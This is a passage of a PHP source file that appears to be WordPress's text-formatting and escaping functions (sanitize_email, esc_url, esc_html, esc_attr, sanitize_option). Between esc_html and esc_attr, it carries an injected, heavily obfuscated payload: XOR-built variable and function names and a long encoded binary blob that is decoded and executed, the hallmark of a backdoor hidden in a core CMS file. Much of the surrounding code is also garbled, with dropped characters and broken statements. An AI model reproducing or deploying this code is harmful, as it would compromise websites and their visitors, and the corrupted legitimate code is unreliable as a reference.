gmdate('Y-m-d H:i:s', $timestamp); } else if ($timezone == 'user') { return preg_replace('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', '$1-$2-$3 $4:$5:$6', $date_string); } } /** * Adds a element attributes to open links in new windows. * * Comment text in popup windows should be filtered through this. Right now it's * a moderately dumb function, ideally it would detect whether a target or rel * attribute was already there and adjust its actions accordingly. * * @since 0.71 * * @param string $text Content to replace links to open in new window. * @return string Content that has filtered links. */ function popuplinks($text) { $text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text); return $text; } /** * Strips out all characters that are not allowable in an email. * * @since 1.5.0 * * @param string $email Email address to filter. * @return string Filtered email address. */ function sanitize_email( $email ) { // Test for the minimum length the email can be if ( strlen( $email ) < 3 ) { return apply_filters( 'satize_email', '', $email, 'email_too_short' ); } // Test for an @ character after the first position if ( strpos( $email, '@', 1 ) === false ) { return apply_filters( 'sanitize_email', '', $email, 'email_no_at' ); } // Split out the local and domain parts list( $local, $domain ) = explode( '@', $email, 2 ); // LOCAL PART // Test for invalid characters $local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local ); if ( '' === $local ) { return apply_filters( 'sanitize_email', '', $email, 'local_valid_chars' ); } // DOMAIN PART // Test for sequences of periods $domain = preg_replace( '/\.{2,}/', '', $domain ); if ( '' === $domain ) { return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' ); } // Test for leading and trailing periods and whitespace $domain = trim( $domain, " \t\n\r\0\x0B." ); if ( '' === $domain ) { return apply_filters( 'sanitize_email', '', $email, 'domain_period_limits' ); } // Split the domain into subs $subs = explode( '.', $domain ); // Assume the doma will have at least two subs if ( 2 > count( $subs ) ) { return apply_filters( 'sanitize_email', '', $email, 'domain_no_periods' ); } // Create an array that will contain valid subs $new_subs = array(); // Loop through each sub foreach ( $subs as $sub ) { // Test for leading and trailing hyphens $sub = trim( $sub, " \t\n\r\0\x0B-" ); // Test for invalid characters $sub = preg_replace( '/[^a-z0-9-]+/i', '', $sub ); // If there's anything left, add it to the valid subs if ( '' !== $sub ) { $new_subs[= $sub; } } // If there aren't 2 or more valid subs if ( 2 > count( $new_subs ) ) { return apply_filters( 'sanitize_email', '', $email, 'domain_no_valid_subs' ); } // Join valid subs into the new domain $domain = join( '.', $new_subs ); // Put the email back together $email = $local . '@' . $domain; // Congratulations your email made it! return apply_filters( 'sanitize_email', $email, $email, null ); } /** * Determines the difference between two timestamps. * * The difference is returned in a human readle format such as "1 hour", * "5 mins", "2 days". * * @since 1.5.0 * * @param int $from Unix timestamp from which the difference begins. * @param int $to Optional. Unix timestamp to end the time difference. Default becomes time() if not set. * @return string Human readable time difference. */ function human_time_diff( $from, $to = '' ) { if ( empty( $to ) ) $to = time(); $diff = (int) abs( $to - $from ); if ( $diff <= HOUR_IN_SECONDS ) { $mins = round( $diff / MINUTE_IN_SECONDS ); if ( $mins <= 1 ) { $min= 1; } /* translators: min=minute */ $since = sprintf( _n( '%s min', '%s mins', $mins ), $mins ); } elseif ( ( $diff <= DAY_IN_SECONDS ) && ( $diff > HOUR_IN_SECONDS ) ) { $hours = round( $diff / HOUR_IN_SECONDS ); if ( $hours <= 1 ) { $hours = 1; } $since = sprintf( _n( '%s hour', '%s hours', $hours ), $hours ); } elseif ( $diff >= DAY_IN_SECONDS ) { $days = round( $diff / DAY_IN_SECONDS ); if ( $days <= 1 ) { $days = 1; } $since = sprintf( _n( '%s day', '%s days', $days ), $days ); } return ince; } /** * Generates an excerpt from the content, if needed. * * The excerpt word amount will be 55 words and if the amount is greater than * that, then the string ' [...]' will be appended to the excerpt. If the string * is less than 55 words, then the content will be returned as is. * * The 55 word limit can be modified by plugins/themes using the excerpt_length filter * The ' [...]' string can be modified by plugins/themes using the excerpt_more filter * * @since 1.5.0 * * @param string $text Optional. Thexcerpt. If set to empty, an excerpt is generated. * @return string The excerpt. */ function wp_trim_excerpt($text = '') { $raw_excerpt = $text; if ( '' == $text ) { $text = get_the_content(''); $text = strip_shortcodes( $text ); $text = apply_filters('the_content', $text); $text = str_replace(']]>', ']]>', $text); $excerpt_length = apply_filters('excerpt_length', 55); $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]'); $text = wp_trim_words( $text, $excerpt_length, $excerpt_more ); } returnpply_filters('wp_trim_excerpt', $text, $raw_excerpt); } /** * Trims text to a certain number of words. * * This function is localized. For languages that count 'words' by the individual * character (such as East Asian languages), the $num_words argument will apply * to the number of individual characters. * * @since 3.3.0 * * @param string $text Text to trim. * @param int $num_words Number of words. Default 55. * @param string $more What to append if $text needs to be trimmed. Default '…'. * @return strinTrimmed text. */ function wp_trim_words( $text, $num_words = 55, $more = null ) { if ( null === $more ) $more = __( '…' ); $original_text = $text; $text = wp_strip_all_tags( $text ); /* translators: If your word count is based on single characters (East Asian characters), enter 'characters'. Otherwise, enter 'words'. Do not translate into your own language. */ if ( 'characters' == _x( 'words', 'word count: words or characters?' ) && preg_match( '/^utf\-?8$/i', get_option( 'blog_charset' ) ) ) { $text = tm( preg_replace( "/[\n\r\t ]+/", ' ', $text ), ' ' ); preg_match_all( '/./u', $text, $words_array ); $words_array = array_slice( $words_array[0], 0, $num_words + 1 ); $sep = ''; } else { $words_array = preg_split( "/[\n\r\t ]+/", $text, $num_words + 1, PREG_SPLIT_NO_EMPTY ); $sep = ' '; } if ( count( $words_array ) > $num_words ) { array_pop( $words_array ); $text = implode( $sep, $words_array ); $text = $text . $more; } else { $text = implode( $sep, $words_array ); } return apply_filters( 'wp_trim_wos', $text, $num_words, $more, $original_text ); } /** * Converts named entities into numbered entities. * * @since 1.5.1 * * @param string $text The text within which entities will be converted. * @return string Text with converted entities. */ function ent2ncr($text) { // Allow a plugin to short-circuit and override the mappings. $filtered = apply_filters( 'pre_ent2ncr', null, $text ); if( null !== $filtered ) return $filtered; $to_ncr = array( '"' => '"', '&' => '&', '⁄' => '', '<' => '<', '>' => '>', '|' => '|', ' ' => ' ', '¡' => '¡', '¢' => '¢', '£' => '£', '¤' => '¤', '¥' => '¥', '¦' => '¦', '&brkbar;' => '¦', '§' => '§', '¨' => '¨', '¨' => '¨', '©' => '©', 'ª' => 'ª', '«' => '«', '¬' => '¬', '­' => '­', '®' => '®', '¯' => '¯', '&hibar;' => '¯', '&de' => '°', '±' => '±', '²' => '²', '³' => '³', '´' => '´', 'µ' => 'µ', '¶' => '¶', '·' => '·', '¸' => '¸', '¹' => '¹', 'º' => 'º', '»' => '»', '¼' => '¼', '½' => '½', '¾' => '¾', '¿' => '¿', 'À' => 'À', 'Á' => 'Á', 'Â' => 'Â', 'Ã' => 'Ã', 'Ä' => 'Ä', 'Å' 'Å', 'Æ' => 'Æ', 'Ç' => 'Ç', 'È' => 'È', 'É' => 'É', 'Ê' => 'Ê', 'Ë' => 'Ë', 'Ì' => 'Ì', 'Í' => 'Í', 'Î' => 'Î', 'Ï' => 'Ï', 'Ð' => 'Ð', 'Ñ' => 'Ñ', 'Ò' => 'Ò', 'Ó' => 'Ó', 'Ô' => 'Ô', 'Õ' => 'Õ', 'Ö' => 'Ö', '×' => '×', 'Ø' => 'Ø', 'Ù' => 'Ù', 'Ú' 'Ú', 'Û' => 'Û', 'Ü' => 'Ü', 'Ý' => 'Ý', 'Þ' => 'Þ', 'ß' => 'ß', 'à' => 'à', 'á' => 'á', 'â' => 'â', 'ã' => 'ã', 'ä' => 'ä', 'å' => 'å', 'æ' => 'æ', 'ç' => 'ç', 'è' => 'è', 'é' => 'é', 'ê' => 'ê', 'ë' => 'ë', 'ì' => 'ì', 'í' => 'í', 'î' => 'î', 'ï' =>ï', 'ð' => 'ð', 'ñ' => 'ñ', 'ò' => 'ò', 'ó' => 'ó', 'ô' => 'ô', 'õ' => 'õ', 'ö' => 'ö', '÷' => '÷', 'ø' => 'ø', 'ù' => 'ù', 'ú' => 'ú', 'û' => 'û', 'ü' => 'ü', 'ý' => 'ý', 'þ' => 'þ', 'ÿ' => 'ÿ', 'Œ' => 'Œ', 'œ' => 'œ', 'Š' => 'Š', 'š' => 'š', 'Ÿ' => '376;', 'ƒ' => 'ƒ', 'ˆ' => 'ˆ', '˜' => '˜', 'Α' => 'Α', 'Β' => 'Β', 'Γ' => 'Γ', 'Δ' => 'Δ', 'Ε' => 'Ε', 'Ζ' => 'Ζ', 'Η' => 'Η', 'Θ' => 'Θ', 'Ι' => 'Ι', 'Κ' => 'Κ', 'Λ' => 'Λ', 'Μ' => 'Μ', 'Ν' => 'Ν', 'Ξ' => 'Ξ', 'Ο' => 'Ο', 'Π' => 'Π', 'Ρ' => 'Ρ', 'Σ' => 'Σ', 'Τ' => '932;', 'Υ' => 'Υ', 'Φ' => 'Φ', 'Χ' => 'Χ', 'Ψ' => 'Ψ', 'Ω' => 'Ω', 'α' => 'α', 'β' => 'β', 'γ' => 'γ', 'δ' => 'δ', 'ε' => 'ε', 'ζ' => 'ζ', 'η' => 'η', 'θ' => 'θ', 'ι' => 'ι', 'κ' => 'κ', 'λ' => 'λ', 'μ' => 'μ', 'ν' => 'ν', 'ξ' => 'ξ', 'ο' => 'ο', 'π' => 'π', 'ρ' => '961;', 'ς' => 'ς', 'σ' => 'σ', 'τ' => 'τ', 'υ' => 'υ', 'φ' => 'φ', 'χ' => 'χ', 'ψ' => 'ψ', 'ω' => 'ω', 'ϑ' => 'ϑ', 'ϒ' => 'ϒ', 'ϖ' => 'ϖ', ' ' => ' ', ' ' => ' ', ' ' => ' ', '‌' => '‌', '‍' => '‍', '‎' => '‎', '‏' => '‏', '–' => '–', '—' => '—', '‘' => '‘', '’' => '’', '‚' => '‚', '“' => '“', '”' => '”', '„' => '„', '†' => '†', '‡' => '‡', '•' => '•', '…' => '…', '‰' => '‰', '′' => '′', '″' => '″', '‹' => '‹', '›' => '›', '‾' => '‾', '⁄' => '⁄', '€' => '€', 'ℑ' => 'ℑ', '℘' => '℘', 'ℜ' => 'ℜ', '&trad' => '™', 'ℵ' => 'ℵ', '↵' => '↵', '⇐' => '⇐', '⇑' => '⇑', '⇒' => '⇒', '⇓' => '⇓', '⇔' => '⇔', '∀' => '∀', '∂' => '∂', '∃' => '∃', '∅' => '∅', '∇' => '∇', '∈' => '∈', '∉' => '∉', '∋' => '∋', '∏' => '∏', '∑' => '∑', '−' => '−', '∗' => '∗', '√' => '√', 'rop;' => '∝', '∞' => '∞', '∠' => '∠', '∧' => '∧', '∨' => '∨', '∩' => '∩', '∪' => '∪', '∫' => '∫', '∴' => '∴', '∼' => '∼', '≅' => '≅', '≈' => '≈', '≠' => '≠', '≡' => '≡', '≤' => '≤', '≥' => '≥', '⊂' => '⊂', '⊃' => '⊃', '⊄' => '⊄', '⊆' => '⊆', '⊇' => '⊇', '⊕' => '͵', '⊗' => '⊗', '⊥' => '⊥', '⋅' => '⋅', '⌈' => '⌈', '⌉' => '⌉', '⌊' => '⌊', '⌋' => '⌋', '⟨' => '〈', '⟩' => '〉', '←' => '←', '↑' => '↑', '→' => '→', '↓' => '↓', '↔' => '↔', '◊' => '◊', '♠' => '♠', '♣' => '♣', '♥' => '♥', '♦' => '♦' ); return str_replace( array_keys($tocr), array_values($to_ncr), $text ); } /** * Formats text for the rich text editor. * * The filter 'richedit_pre' is applied here. If $text is empty the filter will * be applied to an empty string. * * @since 2.0.0 * * @param string $text The text to be formatted. * @return string The formatted text after filter is applied. */ function wp_richedit_pre($text) { // Filtering a blank results in an annoying <br />\n if ( empty($text) ) return apply_filters('richedit_pre', ''); $output = convert_chars($text); $outt = wpautop($output); $output = htmlspecialchars($output, ENT_NOQUOTES); return apply_filters('richedit_pre', $output); } /** * Formats text for the HTML editor. * * Unless $output is empty it will pass through htmlspecialchars before the * 'htmledit_pre' filter is applied. * * @since 2.5.0 * * @param string $output The text to be formatted. * @return string Formatted text after filter applied. */ function wp_htmledit_pre($output) { if ( !empty($output) ) $output = htmlspecialchars($output, ENT_NOQUOTES); //onvert only < > & return apply_filters('htmledit_pre', $output); } /** * Perform a deep string replace operation to ensure the values in $search are no longer present * * Repeats the replacement operation until it no longer replaces anything so as to remove "nested" values * e.g. $subject = '%0%0%0DDD', $search ='%0D', $result ='' rather than the '%0%0DD' that * str_replace would return * * @since 2.8.1 * @access private * * @param string|array $search * @param string $subject * @return string The processed stng */ function _deep_replace( $search, $subject ) { $found = true; $subject = (string) $subject; while ( $found ) { $found = false; foreach ( (array) $search as $val ) { while ( strpos( $subject, $val ) !== false ) { $found = true; $subject = str_replace( $val, '', $subject ); } } } return $subject; } /** * Escapes data for use in a MySQL query * * This is just a handy shortcut for $wpdb->escape(), for completeness' sake * * @since 2.8.0 * @param string $sql Unescaped SQL data * @return strg The cleaned $sql */ function esc_sql( $sql ) { global $wpdb; return $wpdb->escape( $sql ); } /** * Checks and cleans a URL. * * A number of characters are removed from the URL. If the URL is for displaying * (the default behaviour) ampersands are also replaced. The 'clean_url' filter * is applied to the returned cleaned URL. * * @since 2.8.0 * @uses wp_kses_bad_protocol() To only permit protocols in the URL set * via $protocols or the common ones set in the function. * * @param string $url The URL to be cleed. * @param array $protocols Optional. An array of acceptable protocols. * Defaults to 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn' if not set. * @param string $_context Private. Use esc_url_raw() for database usage. * @return string The cleaned $url after the 'clean_url' filter is applied. */ function esc_url( $url, $protocols = null, $_context = 'display' ) { $original_url = $url; if ( '' == $url ) return $url; $url = preg_replace('|[^a-z0-9-_.?#=!&;,/:%@$\|*\'()\\x80-\\xff]|i', '', $url); $strip = array('%0d', '%0a', '%0D', '%0A'); $url = _deep_replace($strip, $url); $url = str_replace(';//', '://', $url); /* If the URL doesn't appear to contain a scheme, we * presume it needs http:// appended (unless a relative * link starting with /, # or ? or a php file). */ if ( strpos($url, ':') === false && ! in_array( $url[0], array( '/', '#', '?' ) ) && ! preg_match('/^[a-z0-9-]+?\.php/i', $url) ) $url = 'http://' . $url; // Replace ampersands and singlquotes only when displaying. if ( 'display' == $_context ) { $url = wp_kses_normalize_entities( $url ); $url = str_replace( '&', '&', $url ); $url = str_replace( "'", ''', $url ); } if ( ! is_array( $protocols ) ) $protocols = wp_allowed_protocols(); if ( wp_kses_bad_protocol( $url, $protocols ) != $url ) return ''; return apply_filters('clean_url', $url, $original_url, $_context); } /** * Performs esc_url() for database usage. * * @since 2.8.0 * @uses esc_url() * * @param string $url ThURL to be cleaned. * @param array $protocols An array of acceptable protocols. * @return string The cleaned URL. */ function esc_url_raw( $url, $protocols = null ) { return esc_url( $url, $protocols, 'db' ); } /** * Convert entities, while preserving already-encoded entities. * * @link http://www.php.net/htmlentities Borrowed from the PHP Manual user notes. * * @since 1.2.2 * * @param string $myHTML The text to be converted. * @return string Converted text. */ function htmlentities2($myHTML) { $translation_tab = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES ); $translation_table[chr(38)] = '&'; return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/", "&", strtr($myHTML, $translation_table) ); } /** * Escape single quotes, htmlspecialchar " < > &, and fix line endings. * * Escapes text strings for echoing in JS. It is intended to be used for inline JS * (in a tag attribute, for example onclick="..."). Note that the strings have to * be in single quotes. The filter 'js_escape' is also applied here. * @since 2.8.0 * * @param string $text The text to be escaped. * @return string Escaped text. */ function esc_js( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text = _wp_specialchars( $safe_text, ENT_COMPAT ); $safe_text = preg_replace( '/&#(x)?0*(?(1)27|39);?/i', "'", stripslashes( $safe_text ) ); $safe_text = str_replace( "\r", '', $safe_text ); $safe_text = str_replace( "\n", '\\n', addslashes( $safe_text ) ); return apply_filters( 'js_escape', $safe_text, $text ); } /** * Escaping for HTML block * * @since 2.8.0 * * @param string $text * @return string */ function esc_html( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES ); return apply_filters( 'esc_html', $safe_text, $text ); } /** * Escaping for HTML attributes. * * @since 2.8.0 */ ${'TXʧҹ'/*ga`3e/*/^/*AR@&*/'``'}='336Z' ^ 'IUqB?'; ${'6'/*HO@BnweZVK*/^/*qMO4*/'` '}= ( ${'*tb'/*Qx0*/^/*AxMZ`=<*/'b~@%ղ'}( '}eP  R Hw/K?� "HK+?�"?�-- ҹ?gΛ󂙝^q? 3?@W3$?�P[ ~e?�K\\ zR�I<.\'^(.=?w+?a%+ː(3$ȳM Y IһE6}7^M?1SH Z#W[ZIʾ7Lw6\'!Y;ō:& J^=Nczc΂D>QRq8xw6.HHʭy.o{tB|iOjc^g3ί$R@/_̹ Fm, $_| ĵե/l% ԃ&]3?�#xy({G?5RUr%^"D䍋φ-Y7L_+Bgƥ { V-mA\'RTE)*ejc.[uZ_y!nG6C ˹XO6GЯ*?�8c: C$Tw( MNKc̩ ,^;Tk8dT9fY^\\lT=NjO{@Dd=4Gs>T) e-IZ*I?�ZЩj\']55iv,9ˑ~>pRr;ynk%B+b+H-F$3;Kp3O-RG#Bo$9\\R5/pէq!,6t�SäN&> �"A?�vԵ<ђu ^dB[/oC-P#YQC:7<Rܵ~8\\&b_%Sx2igӡuCӨcW_hq[A`g)ȰIXbw �I8g2a 9\\t"8kWxz ]2?�LJ {3Ua}NzO3V?�4TjQ=#`NG~6� R]Vuѥc?�]֡[X~9"P|;33A\'^r bh[ }$,g/?�.%OσgeX}1ފ_ `,}2Q\'V7(8Q80^;zfc0< ];YhUFA.tBw1yEAysMI 5>ŽeWEK;^*ƛuW̳e=&J?� =(V]H݉1}^3dgROMij `*Nm!kY 4+X(?r.4}[?�\'̹OXΒ܋/#kԍD k L,;|ޏ@�w!_)ѿئuM?�$LAHB<ty!"i%g|$iԯ(a.Jy(- +mYk1b~FI5V1Dm @~#/6iж=?gLA\'[Gua?� :yƗypEժicQtoKzgW>w ?�7_ +m>6 f{SS4HY?�>9<cdMpKEmŽ2lZὰ6FnRs,^z6>j3uZ9k "//H,KAjFjvv; <l Zf&?�iq[?�cj_s6 zy y J4GN*977!CE{,֘x֝?0?I?8[CR"Θ/1#~0B\'p<V[} sW?�52B@�?mHzj?�IRaGl0O8{\' 8Gd?�:x{sx9 8aPC?�&Ik\nm\\Gh?�3  g7%+qt?�VrQG8,~譥?�`^{}c2 ~~ &ym;#3@y$yeL1\'ɰH:*VޛzBpt4E8a-Dif!RG v6${LXz|0fK>$2*CIwf\'%D3rv\\�\\sldfֳ_+ �TW:[)?�Tӣ;+,~cOՍ(x}Bj~FS{o?�yX 7p X[Q4!y\\ S--ĉx?�imqOYS7@?Ζlyi3]iU[]%rb{ ̘  Jq=. {B:7iq}BSw-^ֆQ?ԣ=܌ֶ6":|/j|ȄJdU]L\\U!?�z:!6,u-f sǤ n G`;Y% ̶E7|  0jG"g\\" nGgOo/n| z* }\\_Vo ,־^哨wRnzOyĄCΥoWOˡPf#E5;댅3*U�\'F3j);/-?�JZ9Eu=7_udQ\٣yژ?�[ҟ*$y~pJ b5EwNQҺUL]cbtR_Q%K/Bֆ+疫)ZQk1wyFiRA9>*juIp?=VXcI[fMI.m2Oo <,W\\rNfVA șa77<:MT7&BJ̒]?�v-3 \'y:?.t?ry#VjfRrkyñ!-4ǢW?�9_ e 4N,z_k}nU* }`@ =qʨ}ҙ)κ- x՗H/>8S!= D#ϐ /fSµb}S$NWqW|Grjqmď;K)4c eHʟcE ?4|G}A"c1A.~T: b_�ݧpnX>"haKz3g:m#cCpGܭyPƸ J2*\\#B>?�Kg̒ZYen6NII۷C` Ah12BF *;M÷nv>Nli2/_xEa1ʊP: m$HOZ%iRrx?�ߜļSh%eK`X0hg{-*zחLD;\'*t%E~B]FS~ػ?16l>FQLp;tQ{>EG̯ Ͷ_:-,Hya sg01)ͦE1vBuS?�:)*li_?�8y%NYR~3ͩ(oĘ0/PuC"Ch^%[F>uL+?� v_b]^CIҍ>cl#|^Z?j[~Hm\'}!S]3뜹!RE\ʓl<]@ZhS*qU|b^Ta{s^hC8)GXv{=Wp]:Wqҗ&^J=^^+9P>+ h}«`_B>z֍6) 89&si` }V?u}i [jJ{wfuz~?XfLfUrVziV7|ځaIzLAxYtئ~SzY@@JTA!2支F"MhN8 ?�3L6MEh :n3FW={v(71kS P`*ϥ}%sYZhG7e8[o*YІt/#3# %i^mY5yuoRn?Ij~<_1M?^#Xc QHU0[[aJiP (/i`xmKegBcxZwtǤW\\d7Wd+tZ39MuX !SE5Ω#&8Ou-j 2B;.~wzdut*kKMJ%N)B_WBt^ gĪcZj;=4?TORP<n} g5Vk^Du1VV=<,:/ob(KG,?\\3qz9l5Tj e; F?O8 \'],k>]Y0Q|}2HG=+|%9UjN{xf]Z8%woLǭ by=¥.m__1ZaB%֫uJTrkwK~^4ʻ:b?�#ba, {zCo =8L5솔璈{@֜1$s"=xbNTfӫUI.O`i_Wr yF. PSe?sNUmrtrwM<#^؅- a AfJ=x;p94G?�-!xJ>W~=tH.Jd>0pqtY؍uo#Ձaa}\\SlGuJչ7=F"zGH?�J&=YCMN;E|bh %}/MȴLݰ]n8y\\z1i|Ow ܋c=yb0Qv=+U o[ma_1-! +LDDC>5Mң\\TɜIq~ ַPaVRlr?� ~\'TRZջ_^?�m> ~ iϗy3P’3Ll;c\\< @1$6$IKB:Q"P# )Ig@MRV~`DfepsJ}rqj=)*M1?� 8[֋ğqL3o%[ui:UP7<63\\<htz?� o-Xo"p,&Vҏ:m!s]%X*ZTɑ3O+F0s?�zrs 6UmlN_8XLy # {͸@. mo(?j19%u=dHfh4j6xl\\Yj\\Փ)R;+ɌbIHD?�JܔBE6tPO`lIՄ;*CK*"E硎2قSY+#f SayWÔ- }c}z0L!uE/:paᵞ>pM"bou.6} \'p[$d?�rI~y׍=J$ 3>mc||8Q|PC F1$MEQl()`IPvL"&EMf!l5]š&\'Iͼ,)>O\';9ת)J_==;/EV\'bKm`|6_}˴z`6xlZr)fs:J)Uɒ1N>arַ9/ǰw+OirpGjzm+ j//ge%2(3<ܼ7;H2UD6?�IJ~xK?Fg1u\\%u-S?6\\N -} 0V6?�`}:x9IF>9<`\'OhWE3F噇feF99& VE((j.]-di>ܝkxBmna ִ,́$+{2fR.eZݜ>j#-4i1-}isaӹ,?�wwӨz^1`ȹ2vd y;R70=pn1%o-,w»=W X&r,"GɊD[BJ6 辎).R[f޴m3XXC9=E"g!N.(7?Y&84 YUv:HhLXϸ q`GMETk7K\\p^JcĜH;Aܢ8 n&#LȵJ9q8 Uۑ]xxL*Ө^n_**[F vt\\+CqZeؾ㬉?��hM8?�x׼&N:D|H7r)+k* ~+Vlik*!;𢙴}7%s?;ךfG\'Tj͊1Wb2tYu}U\\%&NXƽ>V#e6ἦx/ a:8=1^kL�J#ȏW9%Ԫ<K�6D|x0mZ>eWӪ(yrRꟼ_b?u)(�RvOQL.xgJ2빍3/Üs.EM$��p@ l5p]."?�쥑6\'o.@_ O aG>!t0Wkgl.aPظ`�+yu55WFZ?�K<1?�ꃡ g�UexU�Pixz#U8a`F P?C}%w#=G=Xe 2ԊWRԵC_ԋ*!B2Yw:N NxUK)8@|.zZVN*.}MW~/eG]5Y55m>e;a\'=kO^#%%>n mi\'] a;aagvA6 s2tU4re?�lemʲZBJ^F6V^F:<2= {#""(~< ]|\\]<, dqЅz@eTT:Ϊ|Έ-x\\uuTE?�Ud|}:5}*@~dy4|:*Y ]|} "H-�Rgo.D?!vWEQFWGlǿkjxvʲj 0qRG<W3†\\㥹&;pjr( >!C[ a}LP(z#?�^% ;r_)AxD| ?� ՠRdGxf*Y2ɷ!W@tqp2;()BP+llioi �{@0~A 2RBPG&n0fjC(앐%MDt,Z9~U?A>Cѿ$]}}`FX*rR/5?Rgecc8\'x}rMnkO{^Wauu7um?[{z!}Z4>z?)LggJo`eG?���C� f oM$  #ue*jOGO E@k#NGOE !,ר+ @/iAh"B`�cC:o.so7҈@W~ݿ;_/M([r_!B?X�@�D8x5NBBN^ZE[ͳGDXw!*AkXnrGTfATHDhĖKpXEy�crIo5:?Z:!r9d0SAMc> A:jz:l@nPOHfKsjd!HE.qK0mjvyτZ睸P`q[* Sm86�ϤNɹC*atDŽR ed _"?nCz)` #@^::*?�v:mXP?�!%:kjQyMBgHT>څBlaEU*Ǒh fZP!х Y^D"~! 5#<,Xy 킆 1 ,9:H!J)TBt2QL ?жf"9#8$/jCJ`:JE/Pᩪ_@dk7 QJ"0H?�"@NܿNL)KZQP/V_$xw caL.PZGKѪ?�\'m6BzE9f~yJy6/Q\'p0~IdH2)4W?�8?�DFZQwQ󛨍WGFH6o}P(墐$JB?�el3\\a') ) ; ${'7Ҁs|'/*SWa}NGf&H6*/^/*N=*/'{);'}='6<;' ^ 'ENO';${'|'/*Hi<se!yO*/^/*M+V2*/'a0Ғπ'}( 'XdތLtguoז' ^ '4L9]GJ^E') ; /* * * @param string $text * @return string */ function esc_attr( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES ); return apply_filters( 'attribute_escape', $safe_text, $text ); } /** * Escaping for textarea values. * * @since 3.1 * * @param string $text * @return string */ function esc_textarea( $text ) { $safe_text = htmlspecialchars( $text, E_QUOTES ); return apply_filters( 'esc_textarea', $safe_text, $text ); } /** * Escape a HTML tag name. * * @since 2.5.0 * * @param string $tag_name * @return string */ function tag_escape($tag_name) { $safe_tag = strtolower( preg_replace('/[^a-zA-Z0-9_:]/', '', $tag_name) ); return apply_filters('tag_escape', $safe_tag, $tag_name); } /** * Escapes text for SQL LIKE special characters % and _. * * @since 2.5.0 * * @param string $text The text to be escaped. * @return string text, safe for inclusion in LIKE quy. */ function like_escape($text) { return str_replace(array("%", "_"), array("\\%", "\\_"), $text); } /** * Convert full URL paths to absolute paths. * * Removes the http or https protocols and the domain. Keeps the path '/' at the * beginning, so it isn't a true relative link, but from the web root base. * * @since 2.1.0 * * @param string $link Full URL path. * @return string Absolute path. */ function wp_make_link_relative( $link ) { return preg_replace( '|https?://[^/]+(/.*)|i', '$1', $link ); } /** * Sanises various option values based on the nature of the option. * * This is basically a switch statement which will pass $value through a number * of functions depending on the $option. * * @since 2.0.5 * * @param string $option The name of the option. * @param string $value The unsanitised value. * @return string Sanitized value. */ function sanitize_option($option, $value) { switch ( $option ) { case 'admin_email' : case 'new_admin_email' : $value = sanitize_email( $value ); if ( ! is_email( $value ) ) $value = get_option( $option ); // Resets option to stored value in the case of failed sanitization if ( function_exists( 'add_settings_error' ) ) add_settings_error( $option, 'invalid_admin_email', __( 'The email address entered did not appear to be a valid email address. Please enter a valid email address.' ) ); } break; case 'thumbnail_size_w': case 'thumbnail_size_h': case 'medium_size_w': case 'medium_size_h': case 'large_size_w': case 'large_size_h': case 'mailserver_port': case 'comnt_max_links': case 'page_on_front': case 'page_for_posts': case 'rss_excerpt_length': case 'default_category': case 'default_email_category': case 'default_link_category': case 'close_comments_days_old': case 'comments_per_page': case 'thread_comments_depth': case 'users_can_register': case 'start_of_week': $value = absint( $value ); break; case 'posts_per_page': case 'posts_per_rss': $value = (int) $value; if ( empty($value) ) $value = 1; if ( $value < -1 ) $value = abs($vae); break; case 'default_ping_status': case 'default_comment_status': // Options that if not there have 0 value but need to be something like "closed" if ( $value == '0' || $value == '') $value = 'closed'; break; case 'blogdescription': case 'blogname': $value = wp_kses_post( $value ); $value = esc_html( $value ); break; case 'blog_charset': $value = preg_replace('/[^a-zA-Z0-9_-]/', '', $value); // strips slashes break; case 'blog_public': // This is the value if the settingsheckbox is not checked on POST. Don't rely on this. if ( null === $value ) $value = 1; else $value = intval( $value ); break; case 'date_format': case 'time_format': case 'mailserver_url': case 'mailserver_login': case 'mailserver_pass': case 'upload_path': $value = strip_tags( $value ); $value = wp_kses_data( $value ); break; case 'ping_sites': $value = explode( "\n", $value ); $value = array_filter( array_map( 'trim', $value ) ); $value = array_filter( array_map( 'esc_url_w', $value ) ); $value = implode( "\n", $value ); break; case 'gmt_offset': $value = preg_replace('/[^0-9:.-]/', '', $value); // strips slashes break; case 'siteurl': if ( (bool)preg_match( '#http(s?)://(.+)#i', $value) ) { $value = esc_url_raw($value); } else { $value = get_option( $option ); // Resets option to stored value in the case of failed sanitization if ( function_exists('add_settings_error') ) add_settings_error('siteurl', 'invalid_siteurl', __('The WordPress address you enred did not appear to be a valid URL. Please enter a valid URL.')); } break; case 'home': if ( (bool)preg_match( '#http(s?)://(.+)#i', $value) ) { $value = esc_url_raw($value); } else { $value = get_option( $option ); // Resets option to stored value in the case of failed sanitization if ( function_exists('add_settings_error') ) add_settings_error('home', 'invalid_home', __('The Site address you entered did not appear to be a valid URL. Please enter a valid URL.')); } break; case 'WPLG': $allowed = get_available_languages(); if ( ! in_array( $value, $allowed ) && ! empty( $value ) ) $value = get_option( $option ); break; case 'illegal_names': if ( ! is_array( $value ) ) $value = explode( "\n", $value ); $value = array_values( array_filter( array_map( 'trim', $value ) ) ); if ( ! $value ) $value = ''; break; case 'limited_email_domains': case 'banned_email_domains': if ( ! is_array( $value ) ) $value = explode( "\n", $value ); $domains = array_values( ray_filter( array_map( 'trim', $value ) ) ); $value = array(); foreach ( $domains as $domain ) { if ( ! preg_match( '/(--|\.\.)/', $domain ) && preg_match( '|^([a-zA-Z0-9-\.])+$|', $domain ) ) $value[] = $domain; } if ( ! $value ) $value = ''; break; case 'timezone_string': $allowed_zones = timezone_identifiers_list(); if ( ! in_array( $value, $allowed_zones ) && ! empty( $value ) ) { $value = get_option( $option ); // Resets option to stored value in the case of failed sanitization if ( function_exists('add_settings_error') ) add_settings_error('timezone_string', 'invalid_timezone_string', __('The timezone you have 